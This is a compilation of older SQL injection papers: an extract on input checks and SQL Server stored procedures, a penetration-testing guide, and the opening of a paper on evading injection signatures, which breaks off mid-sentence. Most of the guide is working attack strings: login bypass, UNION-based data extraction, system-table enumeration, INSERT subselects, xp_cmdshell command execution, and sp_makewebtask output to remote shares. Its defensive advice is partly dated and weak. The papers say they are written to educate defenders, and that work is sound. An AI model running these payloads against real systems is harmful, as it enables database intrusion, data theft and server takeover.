
3 IF len(strpassword) < 8
  THEN strpassword = ‘’
  msgbox “The password is not long enough!”

4 Strsql = “SELECT * FROM customers WHERE name =‘ & strname & ’ AND
password =‘ & strpassword & ’”


The above code is written in Visual Basic and performs rudimentary validation on the two user input fields.

    1.   Two variables are populated with the contents of the user input fields.
    2.   A check is made on the length of the name, if it is longer than 20 characters the variable is blanked
         and a message box appears stating that the name is too long.
    3.   A further check is then made on the length of the password, if it is less than 8 characters long a
         message box tells the user and the variable is cleared.
    4.   After the basic checks have been conducted, the variables, not the user input are then passed to
         the SQL string and are used to construct the query.
Of course the checks shown above are very basic and easily gotten around, although with stronger more
resilient code, much more can be done to check the user input is indeed valid and suitable to be passed to
the server.



Example SQL Injection Scripts


Below are a few examples SQL injection scripts, many more can be found by doing a simple Google search
for SQL injection.


      ‘ OR ‘a’=’a (Works on Microsoft Access.)
      ‘ OR 1=1 --
      ‘ OR 1=1 ; --
      ‘; SELECT * FROM * ; --


Any of the above scripts can be entered into a database front end like this:




Extended Stored Procedures


Stored procedures are large pieces of code or very often run smaller pieces of code that are stored on the
server and run by a simple command. There are many reasons that stored procedures exist, one of which is
that any code can be centrally managed from the server. A bigger reason is by sending a command word to
the server and receiving a result set, network traffic has been massively reduced from the normal. Normally
all of the code is stored on the client side application, i.e. web browser and it is transmitted to the server for
processing, then the results are sent back.

There are two types of stored procedures, user defined and extended. User defined, as the name suggests
are created by the database developers for the purpose of the application and data. Extended stored
procedures are system defined by the SQL server application. It is the extended stored procedures that are
the most dangerous if an attacker has the ability to run them.


      SP_WHO


This will display all users that are currently connected to the database.

      XP_READMAIL,,,,,@PEEK=’FALSE’
MS SQL Server can be used as an email repository for mail servers. With the above command you can
peek at the emails stored there, to ‘peek’ means to read the email and leave the message flagged as
unread.

      XP_REVOKELOGIN{[@LOGINAME=]’SA’}


This command will prevent the SA account from logging onto the server, a powerful DoS attack.


      XP_CMDSHELL



This will open a command shell on the victim server at the credentials of the connection, eg SA. This is a
very powerful stored procedure and will allow access to the operating system on the box that the SQL server
application is installed on.



Vulnerable Systems


How do we know that a system is vulnerable? There are two ways to find out. The first is to look closely at
the underlying code and identify segments that may allow unauthorized access.

The second is to do exactly as a potential attacker would do. Simple type a single quote (‘) into a user input
field and read the error message. Going back to the SQL injection examples given earlier, if we place a
single quote (‘) into the field we will attempt to process the following:


      SELECT name, phone FROM customers WHERE name = ‘’’


This will open a user input field, close it and then open another. As a user input field has been opened and
not closed, the SQL server will display something similar to the following message:


                Microsoft OLE DB Provider for ODBC Drivers
                error ‘80040e14’
                ([Microsoft][ODBC Microsoft Access Driver] Extra )
                In query expression ‘Username=’’’ AND Password =‘’
                /_employees/login3.asp, line 49



The important item to note is the error number 80040e14. If this is the error that is returned, then the server
is vulnerable to SQL injection. There are other useful pieces of information in the above error message such
as how the query string is constructed (Username = ‘’ AND Password =’’), the web page and the line of code
that the error occurred on. These could help an attacker in compiling a buffer overflow attack against a
system.



Defense & Counter-Measures


Defense of any system should be a layered blend of protection. This applies to database systems as it does
to any network.

Robust network architecture design will aid in the defense of any enterprise. The following diagram shows a
defensible network design by utilizing a De-Militarized Zone (DMZ) to hold all ‘public facing’ servers.




Any attacker can easily make a connection to the SQL server as it has to be accessible to the internet and
legitimate users. The green arrow denotes an authorized connection from the attacker to the SQL server. If
the attacker wants to penetrate further into the network, they would have to evade the second firewall, this is
not easily done with a good firewall system that is configured correctly and kept up to date. The two firewall
design has added an extra layer of protection to any sensitive servers on the internal network.

Another defensive measure includes creating specific accounts on the server for specific tasks. For
example, if a web front end requires read only access, an account should be created with read only access
to the database. If a front end requires full control over the data, an account should be created with full
control to the areas required; this should never be the SA account. When the full control access is no longer
needed, the connection should be reverted to minimal access privileges.

With regard to the validation of user input, single quotes (‘) should not be allowed to be processed by the
server as it can identify the database as vulnerable to SQL injection. Maximum and minimum length of input
fields should be considered. If a username can be no longer that 20 characters, then do not allow any input
longer than 20 characters, it goes the same for minimum length of passwords.

It is also a very simple process to identify known SQL injection access to the database.

Verbose error messages such as the error that displays the This will help to disguise any vulnerable
applications.



3 D’s


The 3 D’s refer to when database administrators and developers should think about security.

Design

During the design phase of any new application, consider how best to protect the back end with solid, robust
code.
Default

The default settings for an application should have security factors considered.

Deployment

How to deploy and install a new product without compromising the back end, do you require the user to be a
local administrator for example.



Summary

Defense in depth is the key to securing any network; the same approach should be taken to securing a
database back-end and client side application. Robust network architecture, user input validation and good
database administration all must be adopted for a solid defense.

By following the defensive measures mentioned above, a database system can be protected so as to protect
against a high percentage of known attacks. The hacking communities are continually working to find new
security flaws with any system and may find wholes in any security layer designed to protect your system,
with this in mind all users, administrators and developers should keep their security skills up to date with
training.
  SQL Injection, Are Your Web Applications Vulnerable?

1. Overview and introduction to web applications and SQL injection
   1.1. Overview
   SQL injection is a technique for exploiting web applications that use client-supplied data in SQL
   queries without stripping potentially harmful characters first. Despite being remarkably simple to
   protect against, there is an astonishing number of production systems connected to the Internet
   that are vulnerable to this type of attack. The objective of this paper is to educate the professional
   security community on the techniques that can be used to take advantage of a web application that
   is vulnerable to SQL injection, and to make clear the correct mechanisms that should be put in
   place to protect against SQL injection and input validation problems in general.

   1.2. Background
   Before reading this, you should have a basic understanding of how databases work and how SQL
   is used to access them. I recommend reading eXtropia.com’s “Introduction to Databases for Web
   Developers” at http://www.extropia.com/tutorials/sql/toc. html.

   1.3. Character encoding
   In most web browsers, punctuation characters and many other symbols will need to be URL
   encoded before being used in a request in order to be interpreted properly. In this paper I have
   used regular ASCII characters in the examples and screenshots in order to maintain maximum
   readability. In practice, though, you will need to substitute %25 for percent sign, %2B for plus sign,
   etc. in the HTTP request statement.

   2. Testing for vulnerability
   2.1. Comprehensive testing
   Thoroughly checking a web application for SQL injection vulnerability takes more effort than one
   might guess. Sure, it's nice when you throw a single quote into the first argument of a script and the
   server returns a nice blank, white screen with nothing but an ODBC error on it, but such is not
   always the case. It is very easy to overlook a perfectly vulnerable script if you don't pay attention to
   details.

   Every parameter of every script on the server should always be checked. Developers and
   development teams can be awfully inconsistent. The programmer who designed Script A might
   have had nothing to do with the development of Script B, so where one might be immune to SQL
   injection, the other might be ripe for abuse. In fact, the programmer who worked on Function A in
   Script A might have nothing to do with Function B in Script A, so while one parameter in Script A
   might be vulnerable, another might not. Even if a whole web application is conceived, designed,
   coded and tested by one single, solitary programmer, there might be only one vulnerable
   parameter in one script out of thousands of other parameters in millions of other scripts, because
   for whatever reason, that developer forgot to sanitize the data in that one place and that one place
   only. You never can be sure. Test everything.

   2.2. Testing procedure
   Replace the argument of each parameter with a single quote and an SQL keyword ("' WHERE", for
   example). Each parameter needs to be tested individually. Not only that, but when testing each
   parameter, leave all of the other parameters unchanged, with valid data as their arguments. It can
   be tempting to just delete all of the stuff that you're not working with in order to make things look
   simpler, particularly with applications that have parameter lines that go into many thousands of
   characters. Leaving out parameters or giving other parameters bad arguments while you're testing
another for SQL injection can break the application in other ways that prevent you from determining
whether or not SQL injection is possible. For instance, let's say that this is a completely valid,
unaltered parameter line:

ContactName=Maria%20Anders&CompanyName=Alfreds%20Futterkiste

And this parameter line gives you an ODBC error:

ContactName=Maria%20Anders&CompanyName='%20OR

Where checking with this line:

CompanyName='

Might just give you an error telling you that you that you need to specify a ContactName value. This
line:

ContactName=BadContactName&CompanyName='

Might give you the same page as the request that didn't specify ContactName at all. Or, it might
give you the site’s default homepage. Or, perhaps when it couldn't find the specified ContactName
the application figured that there was no point in looking at CompanyName, so it didn't even pass
the argument of that parameter into an SQL statement at all. Or, it might give you something
completely different. So, when testing for SQL injection, always use the full parameter line, giving
every argument except the one that you are testing a legitimate value.

2.3. Evaluating results
If you get a database server error message of some kind back, injection was definitely successful.
However, the database error messages aren't always obvious. Again, developers do some strange
things, so you should look in every possible place for evidence of successful injection. The first
thing you should do is search through the entire source of the returned page for phrases like
"ODBC", "SQL Server", "Syntax", etc. More details on the nature of the error can be in hidden input,
comments, etc. Check the headers. I have seen web applications on production systems that give
you an error message with absolutely no information in the body of the HTTP response, but that
have the database error message in a header. Many web applications have these kinds of features
built into them for debugging and QA purposes, and then forget to remove or disable them before
release.

Not only should you look on the immediately returned page, but in linked pages as well. During a
recent pen-test, I saw a web application that returned a generic error message page in response to
an SQL injection attack. Clicking on a stop sign image next to the error that was linked to another
page gave the full SQL Server error message.

Another thing to watch out for is a 302 page redirect. You may be whisked away from the database
error message page before you even get a chance to notice it.

Please note that SQL injection may be successful even if you do get an ODBC error messages
back. Lots of the time you get back a properly formatted, seemingly generic error message page
telling you that there was "an internal server error" or a "problem processing your request." Some
web applications are built so that in the event of an error of any kind, the client is returned to the
site’s main page. If you get a 500 Error page back, chances are that injection is occurring. Many
sites have a default 500 Internal Server Error page that claims that the server is down for
maintenance, or that politely asks the user to email their request to their support staff. It can be
possible to take advantage of these sites using stored procedure techniques, which are discussed
later.

3. Attacks
3.1. Authorization bypass
The simplest SQL injection technique is bypassing form-based logins. Let's say that the web
application’s code is like this:
SQLQuery = "SELECT Username FROM Users WHERE Username = '" &
strUsername & "' AND Password = '" & strPassword & "'"
strAuthCheck = GetQueryResult(SQLQuery)
If strAuthCheck = "" Then
      boolAuthenticated = False
Else
      boolAuthenticated = True
End If

Here's what happens when a user submits a username and password. The query will go through
the Users table to see if there is a row where the username and password in the row match those
supplied by the user. If such a row is found, the username is stored in the variable strAuthCheck,
which indicates that the user should be authenticated. If there is no row that the user-supplied data
matches, strAuthCheck will be empty and the user will not be authenticated.

If strUsername and strPassword can contain any characters that you want, you can modify the
actual SQL query structure so that a valid name will be returned by the query even if you do not
know a valid username or a password. How does this work? Let's say a user fills out the login form
like this:

Login: ' OR ''='
Password: ' OR ''='

This will give SQLQuery the following value:

SELECT Username FROM Users WHERE Username = '' OR ''='' AND
Password = '' OR ''=''

Instead of comparing the user-supplied data with that present in the Users table, the query
compares '' (nothing) to '' (nothing), which, of course, will always return true. (Please note that
nothing is different from null.) Since all of the qualifying conditions in the WHERE clause are now
met, the username from the first row in the table that is searched will be selected. This username
will subsequently be passed to strAuthCheck, which will ensure our validation. It is also possible to
use another row’s data, using single result cycling techniques, which will be discussed later.

3.2. SELECT
For other situations, you must reverse-engineer several parts of the vulnerable web application's
SQL query from the returned error messages. In order to do this, you must know what the error
messages that you are presented with mean and how to modify your injection string in order to
defeat them.

3.2.1. Direct vs. Quoted
The first error that you are normally confronted with is the syntax error. A syntax error indicates that
the query does not conform to the proper structure of an SQL query. The first thing that you need to
figure out is whether injection is possible without escaping quotation.

In a direct injection, whatever argument you submit will be used in the SQL query without any
modification. Try taking the parameter's legitimate value and appending a space and the word "OR"
to it. If that generates an error, direct injection is possible. Direct values can be either numeric
values used in WHERE statements, like this:

SQLString = "SELECT FirstName, LastName, Title FROM Employees
WHERE Employee = " & intEmployeeID

Or the argument of an SQL keyword, such as table or column name, like this:

SQLString = "SELECT FirstName, LastName, Title FROM Employees
ORDER BY " & strColumn

All other instances are quoted injection vulnerabilities. In a quoted injection, whatever argument
you submit has a quote prepended and appended to it by the application, like this:

SQLString = "SELECT FirstName, LastName, Title FROM Employees
WHERE EmployeeID = '" & strCity & "'"

In order to “break out” of the quotes and manipulate the query while maintaining valid syntax, your
injection string must contain a single quote before you use an SQL keyword, and end in a WHERE
statement that needs a quote appended to it. And now to address the problem of “cheating”. Yes,
SQL Server will ignore everything after a “;--”, but it's the only server that does that. It's better to
learn how to do this the "hard way" so that you'll know how to do this if you run into an Oracle,
DB/2, MySQL or any other kind of database server.

3.2.2. Basic UNION




Figure 1: Syntax breaking on direct injection




Figure 2: Syntax breaking on a quoted injection SELECT queries are used to retrieve information
from a database. Most web applications that use dynamic content of any kind will build pages using
information returned from SELECT queries. Most of the time, the part of the query that you will be
able to manipulate will be the WHERE clause. The way to modify a query from within a WHERE
clause to make it return records other than those intended is to inject a UNION SELECT. A UNION
SELECT allows multiple SELECT queries to be specified in one statement. They look something
like this:

SELECT CompanyName FROM Shippers WHERE 1 = 1 UNION ALL SELECT
CompanyName FROM Customers WHERE 1 = 1

This will return the recordsets from the first query and the second query together. The ALL is
necessary to escape certain kinds of SELECT DISTINCT statements and doesn't interfere
otherwise, so it’s best to always use it. It is necessary to make sure that the first query, the one that
the web application’s developer intended to be executed, returns no records. This is not difficult.
Let's say you're working on a script with the following code:

SQLString = "SELECT FirstName, LastName, Title FROM Employees
WHERE City = '" & strCity & "'"

And use this injection string:

' UNION ALL SELECT OtherField FROM OtherTable WHERE ''='

This will result in the following query being sent to the database server:

SELECT FirstName, LastName, Title FROM Employees WHERE City =
'' UNION ALL SELECT OtherField FROM OtherTable WHERE ''=''

Here's what will happen: the database engine goes through the Employees table, looking for a row
where City is set to nothing. Since it will not find a row where City is nothing, no records will be
returned. The only records that will be returned will be from the injected query. In some cases,
using nothing will not work because there are entries in the table where nothing is used, or because
specifying nothing makes the web application do something else. All you have to do is specify a
value that does not occur in the table. Just put something that looks out of the ordinary as best you
can tell by looking at the legitimate values. When a number is expected, zero and negative
numbers often work well. For a text argument, simply use a string such as "NoSuchRecord",
"NotInTable", or the ever-popular "sjdhalksjhdlka". Just as long as it won't return records.
It would be nice if all of the queries used in web applications were as simple as the ones above.
However, this is not the case. Depending on the function of the intended query as well as the habits
of the developer, you may have a tough time breaking the syntax error.

3.2.3. Query enumeration with syntax errors
Some database servers return the portion of the query containing the syntax error in their error
messages. In these cases you can “bully” fragments of the SQL query from the server by
deliberately creating syntax errors. Depending on the way that the query is designed, some strings
will return useful information and others will not. Here's my list of suggested attack strings:

'
BadValue'
'BadValue
' OR '
' OR
;
9,9,9

Often several of those strings will return the same or no information, but there are instances where
only one of them will give you helpful information. Again, always be thorough. Try all of them.

3.2.4. Parenthesis




Figure 3: Parenthesis breaking on a quoted injection

If the syntax error contains a parenthesis in the cited string (such as the SQL Server message used
in the example below) or you get a message that explicitly complains about missing parentheses
(Oracle does this), add a parenthesis to the bad value part of your injection string, and one to the
WHERE clause. In some cases, you may need to use two or more parentheses. Here’s the code
used in parenthesis.asp:

mySQL="SELECT LastName, FirstName, Title, Notes, Extension FROM Employees
WHERE (City = '" & strCity & "')"

So, when you inject the value “') UNION SELECT OtherField FROM OtherTable WHERE (''='”, the
following query will be sent to the server:

SELECT LastName, FirstName, Title, Notes, Extension FROM
Employees WHERE (City = '') UNION SELECT OtherField From
OtherTable WHERE (''='')

3.2.5. LIKE queries
Figure 4: LIKE breaking on a quoted injection

Another common debacle is being trapped in a LIKE clause. Seeing the LIKE keyword or percent
signs cited in an error message are indications of this situation. Most search functions use SQL
queries with LIKE clauses, such as the following:

SQLString = "SELECT FirstName, LastName, Title FROM Employees
WHERE LastName LIKE '%" & strLastNameSearch & "%'"

The percent signs are wildcards, so in this case, the WHERE clause would return true in any case
where strLastNameSearch appears anywhere in LastName. In order to stop the intended query
from returning records, your bad value must be something that none of the values in the LastName
field contain. The string that the web application appends to the user input, usually a percent sign
and single quote (and often parenthesis as well), needs to be mirrored in the WHERE clause of the
injection string. Also, using nothing as your bad values will make the LIKE argument “%%”,
resulting in a full wildcard, which returns all records. The second screenshot shows a working
injection query for the above code.

3.2.6. Dead Ends
There are situations that you may not be able to defeat without an enormous amount of effort or
even at all. Occasionally you'll find yourself in a query that you just can't seem to break. No matter
what you do, you get error after error after error. Lots of the time this is because you're trapped
inside a function that's inside a WHERE clause that's in a subselect which is an argument of
another function whose output is having string manipulations performed on it and then used in a
LIKE clause which is in a subselect somewhere else. Or something like that. Not even SQL
Server's “;--” can rescue you in those cases.

3.2.7. Column number mismatch
Figure 5: Column number matching If you can get around the syntax error, the hardest part is over.
The next error message you get will probably complain about a bad table name. Choose a valid
system table name from the appendix that corresponds to the database server that you're up
against.

You will then most likely be confronted with an error message that complains about the difference
in number of fields in the SELECT and UNION SELECT queries. You need to find out how many
columns are requested in the legitimate query. Let's say that this is the code in the web application
that you’re attacking:

SQLString = SELECT FirstName, LastName, EmployeeID FROM
Employees WHERE City = '" & strCity "'"

The legitimate SELECT and the injected UNION SELECT need to have an equal number of
columns in their WHERE clauses. In this case, they both need three. Not only that, but their column
types need to match as well. If FirstName is a string, then the corresponding field in your injection
string needs to be a string as well. Some servers, such as Oracle, are very strict about this. Others
are more lenient and allow you to use any data type that can do implicit conversion to the correct
data type. For example, in SQL Server, putting numeric data in a varchar's place is okay, because
numbers can be converted to strings implicitly. Putting text in a smallint column, however, is illegal
because text cannot be converted to an integer. Because numeric types often convert to strings
easily but not vice versa, use numeric values by default.

To determine the number of columns you need to match, keep adding values to the UNION
SELECT clause until you stop getting a column number mismatch error. If a data type mismatch
error is encountered, change the type of data of the column you entered from a number to a literal.
Sometimes you will get a conversion error as soon as you submit an incorrect data type. Other
times, you will only get the conversion message once you've matched the correct number of
columns, leaving you to figure out which columns are the ones that are causing the error. When the
latter is the case, matching the value types can take a very long time, since the number of possible
combinations is two raised to number of columns in the query. Oh, did I mention that 40 column
SELECTs are not terribly uncommon?

If all goes well, you should get back a page with the same formatting and structure as a legitimate
one. Wherever dynamic content is used you should have the results of your injection query.

3.2.8. Additional WHERE columns




Figure 6: Additional WHERE column breaking

Sometimes your problem may be additional WHERE conditions that are added to the query after
your injection string. Take this line of code for instance:

SQLString = "SELECT FirstName, LastName, Title FROM Employees
WHERE City = '" & strCity & "' AND Country = 'USA'"
Trying to deal with this query like a simple direct injection would yield a query like this:

SELECT FirstName, LastName, Title FROM Employees WHERE City =
'NoSuchCity' UNION ALL SELECT OtherField FROM OtherTable WHERE
1=1 AND Country = 'USA'

Which yields an error message such as:

[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column
name 'Country'.

The problem here is that your injected query does not have a table in the FROM clause that
contains a column named 'Country' in it. There are two ways of solving this problem: cheat and use
the “;--” terminator if you're using SQL Server, or guess the name of the table that the offending
column is in and add it to your FROM. Use the attack queries listed in section 3.2.3 to try and get
as much of the legitimate query back as possible.

3.2.9. Table and field name enumeration
Enlarge Picture
Figure 7: Table and field name enumeration

Now that you have injection working, you have to decide what tables and fields you want to retrieve
information from. With SQL Server, you can easily get all of the table and column names in the
database. With Oracle and Access you may or may not be able to do this, depending on the
privileges of the account that the web application is accessing the database with. The key is to be
able to access the system tables that contain the table and column names. In SQL Server, they are
called 'sysobjects' and 'syscolumns', respectively. (There is a list of system tables for other
database servers at the end of this document. You will also need to know relevant column names
in those tables). In these tables there will be listings of all of the tables and columns in the
database. To get a list of user tables in SQL Server, use the following injection query, modified to fit
whatever circumstances you find yourself in, of course:

SELECT name FROM sysobjects WHERE xtype = 'U'

This will return the names of all of the user-defined (that's what xtype = 'U' does) tables in the
database. Once you find one that looks interesting (we'll use Orders), you can get the names of the
fields in that table with an injection query similar to this:

SELECT name FROM syscolumns WHERE id = (SELECT id FROM
sysobjects WHERE name = 'Orders')

3.2.10. Single record cycling


Enlarge Picture




Enlarge Picture
Enlarge Picture
Figure 8: Single record cycling

If possible, use an application that is designed to return as many results as possible. A search tool
is ideal because they are made to return results from many different rows at once. Some
applications are designed to use only one recordset in their output at a time, and ignore the rest. If
you're stuck with a single product display application, it's okay. You can manipulate your injection
query to allow you to slowly, but surely, get your desired information back in full. This is
accomplished by adding qualifiers to the WHERE clause that prevent certain rows’ information from
being selected. Let's say you started with this injection string:

' UNION ALL SELECT name, FieldTwo, FieldThree FROM TableOne
WHERE ''='

And you got the first values in FieldOne, FieldTwo and FieldThree injected into your document.
Let's say the values of FieldOne, FieldTwo and FieldThree were "Alpha", "Beta" and "Delta",
respectively. Your second injection string would be:
' UNION ALL SELECT FieldOne, FieldTwo, FieldThree FROM
TableOne WHERE FieldOne NOT IN ('Alpha') AND FieldTwo NOT IN
('Beta') AND FieldThree NOT IN ('Delta') AND ''='

The NOT IN VALUES clause makes sure that the information that you already know will not be
returned again, so the next row in the table will be used instead. Let’s say these values were
"AlphaAlpha", "BetaBeta" and "DeltaDelta"...

' UNION ALL SELECT FieldOne, FieldTwo, FieldThree FROM TableOne
WHERE FieldOne NOT IN ('Alpha', 'AlphaAlpha') AND FieldTwo NOT
IN ('Beta', 'BetaBeta') AND FieldThree NOT IN ('Delta',
'DeltaDelta') AND ''='

This will prevent both the first and second sets of values you know from being returned. You just
keep adding arguments to VALUES until there are none left to return. Yes, this makes for some
rather large and cumbersome queries while going through a table with many rows, but it's the best
method that there is.

3.3. INSERT

3.3.1. Insert basics
The INSERT keyword is used to add information to the database. Common uses of INSERTs in
web applications include user registrations, bulletin boards, adding items to shopping carts, etc.
Checking for vulnerabilities with INSERT statements is the same as doing it with WHEREs. You
may not want to try to use INSERTs if avoiding detection is an important issue. INSERT injection
attempts often result in rows in the database that are flooded with single quotes and SQL keywords
from the reverse-engineering process. Depending on how watchful the administrator is and what is
being done with the information in that database, it may be noticed. Having said that, here's how
INSERT injection differs from SELECT injection.

Let's say you're on a site that allows user registration of some kind. It provides a form where you
enter your name, address, phone number, etc. After you've submitted the form, you can go to a
page where it displays this information and gives you an option to edit it. This is what you want. In
order to take advantage of an INSERT vulnerability, you must be able to view the information that
you've submitted. It doesn't matter where it is. Maybe when you log in it greets you with the value it
has stored for your name in the database. Maybe they send you spam mail with the name value in
it. Who knows. Find a way to view at least some of the information you've entered.

3.3.2. Injecting subselects
An INSERT query looks something like this:

INSERT INTO TableName VALUES ('Value One', 'Value Two', 'Value
Three')

You want to be able to manipulate the arguments in the VALUES clause to make them retrieve
other data. We can do this using subselects. Let's say the code looks like this:

SQLString = "INSERT INTO TableName VALUES ('" & strValueOne &
"', '" & strValueTwo & "', '" & strValueThree & "')"

And we fill out the form like this:

Name: ' + (SELECT TOP 1 FieldName FROM TableName) + '
Email: blah@blah.com
Phone: 333-333-3333

Making the SQL statement look like this:

INSERT INTO TableName VALUES ('' + (SELECT TOP 1 FieldName FROM
TableName) + '', 'blah@blah.com', '333-333-3333')
When you go to the preferences page and view your user's information, you'll see the first value in
FieldName where the user's name would normally be. Unless you use TOP 1 in your subselect,
you'll get back an error message saying that the subselect returned too many records. You can go
through all of the rows in the table using NOT IN () the same way it is used in single record cycling.

3.4. SQL Server Stored Procedures

3.4.1. Stored procedure basics
An out-of-the-box install of Microsoft SQL Server has over one thousand stored procedures. If you
can get SQL injection working on a web application that uses SQL Server as it's backend, you can
use these stored procedures to pull off some remarkable feats. I will here discuss a few procedures
of particular interest. Depending on the permissions of the web application's database user, some,
all or none of these may work. The first thing you should know about stored procedure injection is
that there is a good chance that you will not see the stored procedure's output in the same way you
get values back with regular injection. Depending on what you're trying to accomplish, you may not
need to get data back at all. You can find other means of getting your data returned to you.

Procedure injection is much easier than regular query injection. Procedure injection into a quoted
vulnerability should look something like this:

simplequoted.asp?city=seattle';EXEC master.dbo.xp_cmdshell
'cmd.exe dir c:

Notice how a valid argument is supplied at the beginning and followed by a quote and the final
argument to the stored procedure has no closing quote. This will satisfy the syntax requirements
inherent in most quoted vulnerabilities. You may also have to deal with parentheses, additional
WHERE statements, etc., but after that, there's no column matching or data types to worry about.
This makes it possible to export vulnerability in the same way that you would with applications that
do not return error messages. On to a couple of my favorite stored procedures.

3.4.2. xp_cmdshell

xp_cmdshell {'command_string'} [, no_output]

master.dbo.xp_cmdshell is the holy grail of stored procedures. It takes a single argument, which is
the command that you want to be executed at SQL Server's user level. The problem? It's not likely
to be available unless the SQL Server user that the web application is using is sa.

3.4.3. sp_makewebtask


Enlarge Picture
Enlarge Picture
Figure 9: Using sp_makewebtask

sp_makewebtask [@outputfile =] 'outputfile', [@query =] 'query'

Another favorite of mine is master.dbo.sp_makewebtask. As you can see, its arguments are an
output file location and an SQL statement. sp_makewebtask takes a query and builds a webpage
containing its output. Note that you can use a UNC pathname as an output location. This means
that the output file can be placed on any system connected to the Internet that has a publicly
writable SMB share on it. (The SMB request must generate no challenge for authentication at all). If
there is a firewall restricting the server's access to the Internet, try making the output file on the
website itself. (You'll need to either know or guess the webroot directory). Also be aware that the
query argument can be any valid T-SQL statement, including execution of other stored procedures.
Making "EXEC xp_cmdshell 'dir c:'" the @query argument will give you the output of "dir c:" in the
webpage. When nesting quotes, remember to alternate single and double quotes.
4. Solutions
4.1. Data sanitization
All client-supplied data needs to be cleansed of any characters or strings that could possibly be
used maliciously. This should be done for all applications, not just those that use SQL queries.
Stripping quotes or putting backslashes in front of them is nowhere near enough. The best way to
filter your data is with a default-deny regular expression. Make it so that you only include that type
of characters that you want. For instance, the following regexp will return only letters and numbers:

s/[^0-9a-zA-Z]//g

Make your filter as specific as possible. Whenever possible use only numbers. After that, numbers
and letters only. If you need to include symbols or punctuation of any kind, make absolutely sure to
convert them to HTML substitutes, such as ""e;" or ">". For instance, if the user is submitting an
email address, allow only "@", "_", "." and "-" in addition to numbers and letters to be used, and
only after those characters have been converted to their html substitutes.

4.2. Secure SQL web application coding
There are also a few SQL injection specific rules. First, prepend and append a quote to all user
input. Even if the data is numeric. Next, limit the rights of the database user that the web
application uses. Don't give that user access to all of the system stored procedures if that user only
needs access to a handful of user-defined ones.

5. Database server system tables
This section includes the names of system tables that are useful in SQL injection. You can get
listings of the columns in each of these tables by searching for them on Google.

5.1. MS SQL Server
sysobjects
syscolumns

5.2. MS Access Server
MSysACEs
MSysObjects
MSysQueries
MSysRelationships

5.3. Oracle
SYS.USER_OBJECTS
SYS.TAB
SYS.USER_TABLES
SYS.USER_VIEWS
SYS.ALL_TABLES
SYS.USER_TAB_COLUMNS
SYS.USER_CONSTRAINTS
SYS.USER_TRIGGERS
SYS.USER_CATALOG
                     SQL Injection Signatures Evasion
Abstract
In recent years, Web application security has become a focal center for security
experts. Application attacks are constantly on the rise, posing new risks for the
organization. One of the most dangerous and most common attack techniques is SQL
Injection, which usually allows the hacker to obtain full access to the organization's
Database.
With the rise in SQL Injection attacks, security vendors have begun to provide
security measures to protect against SQL Injection. The first ones to claim such
protection have been the various Web Application Firewall vendors, followed by most
IDS/IPS vendors.
Most of this protection, however is Signature based. This is obviously the case with
common IDS/IPS vendors, as they come from the network security world, and
revolve around signature-based protection. However, most of the Web Application
Firewalls base their SQL Injection protection on signatures as well. This is due to the
fact that they inspect HTTP traffic only, and are able to look for attack patterns only
within HTTP traffic. Moreover, it has lately become a common belief that signatures
are indeed sufficient for SQL Injection protection. This belief has been backed up by
a recently published article, describing, allegedly, a thorough guide for building SQL
Injection signatures, in Snort™-like format.
The research done at Imperva's Application Defense Center shows, however, that
providing protection against SQL Injection using signatures only is not enough. This
paper demonstrates various techniques that can be used to evade SQL Injection
signatures, including advanced techniques that were developed during the research.
The paper further demonstrates why these techniques are actually just the tip of the
iceberg of different evasion techniques, due to the richness of the SQL language.
Eventually, the conclusion that the research leads to is that providing protection
against SQL Injection using only signatures is simply not practical. A reasonably
sized signature database will never be complete, while an attempt to create a
complete comprehensive signature database, even if theoretically possible, will yield
an amount of signatures that is impossible to handle while maintaining a reasonable
performance requirement, and is likely to generate too many false positives.

Introduction
In this paper, we will look at a theoretical hacker, named Autolycus. In Greek
mythology, Autolycus was an accomplished thief and trickster. He was a son of the
god Hermes, who gave him the power of invisibility, a trait required for evading
detection.
In ancient times, Autolycus spent his days sneaking into fortresses, through the main
gate, pretending to be no other than a mere visitor. Once in the fortress, Autolycus
headed towards the treasury and stole its entire contents. In modern times
Autolycus found out that breaking into a system through the exposed Web
application and stealing the entire contents of the database is as much fun, and
involves substantially less physical risk.
One of Autolycus's most favorite techniques is called SQL injection. This technique
allows him not only to steal the entire contents of databases but to make arbitrary
changes to data as well. Autolycus has mastered this technique so well that by now
he is now able to reach the treasury even when blindfolded.
When Autolycus first approaches our fortress he knows, as usual, nothing or very
little about it. He is, however, determined as ever, to get through the main gate,
sneak into the treasury, and steal what he thinks should be his. Based on his recent
experiences, Autolycus believes today will not be any different, and proceeds through
the main gate.
What Autolycus does not know at this point, however, is that a new old guard,
known by the name of Signatorious, has been posted to our fortress. Signatorious
has been around since the 'old days', when network security was the main issue.
Back then Signatorious was posted to the external walls. Now, he is asked to
examine all the passersby going through the main gate. Although unable to see
Autolycus (he is invisible, after all), Signatorious has learned the pattern of common
SQL Injection attacks, and can now identify and stop Autolycus, when attempting
such attacks.
Note: many of the examples shown in this paper refer to MS SQL Server, while some
others refer to MySQL or Oracle. The reader must not conclude that one database or
another is more or less vulnerable to evasion techniques, based on the number of
examples shown here. There are many more specific examples, in any database,
whether listed here or not, to be found. The basics concepts of these techniques,
however, remain the same.

Recognizing Signature Protection
Autolycus, unaware of the new guard, sticks to his old habits, and is quickly stopped
and thrown out of the fortress. Luckily, Autolycus has nothing stopping him from
coming back a minute after being thrown out, and he repeats his attempts. Having
enough experience in this technique, Autolycus quickly understands that something
new is holding him back, and he moves on to identifying what is it that blocks his
way to the treasury. It will not be long before Autolycus recognizes his foe from the
old times, Signaturious.


In modern days, Autolycus is a savvy hacker. He makes a point of reading all
relevant mailing lists, being up to date with new security features and security
products, and understanding how they work. After noticing that all of his attempts
are blocked, unrelated to their actual content, Autolycus is likely to understand, very
quickly, that signature protection is set on the Web server, and that his requests are
failing not because his SQL Injection is wrong, but because the Web server or the
security gateway in front of it have noticed some SQL keywords.
Guessing, however, is never sufficient, and Autolycus decides to run a series of tests
to verify that this is indeed the case. Luckily, for this test, Autolycus doesn't really
need to be able to do any kind of SQL Injection. The mechanisms which recognize
these signatures can not tell whether a parameter is subsequently transferred to an
SQL query or not. The identification of the signature-trigging strings can therefore be
easily done on any page with no relation to its actual functionality in the system.
Autolycus, therefore, needs for his first step to simply identify a location in the
application where an arbitrary string, that is unlikely to trigger a signature, can be
inserted without invoking any server side error. Using such a plain string allows
eliminating the cases where other security mechanisms are stopping Autolycus. (For
instance, inserting a string instead of an integer inside a numerical parameter may
trigger a type mismatch error in the server. When detailed errors are hidden, this
error can not be differentiated from the error generated by the signature
mechanism.).
The insertion of such an arbitrary string into the HTTP request can be done in a
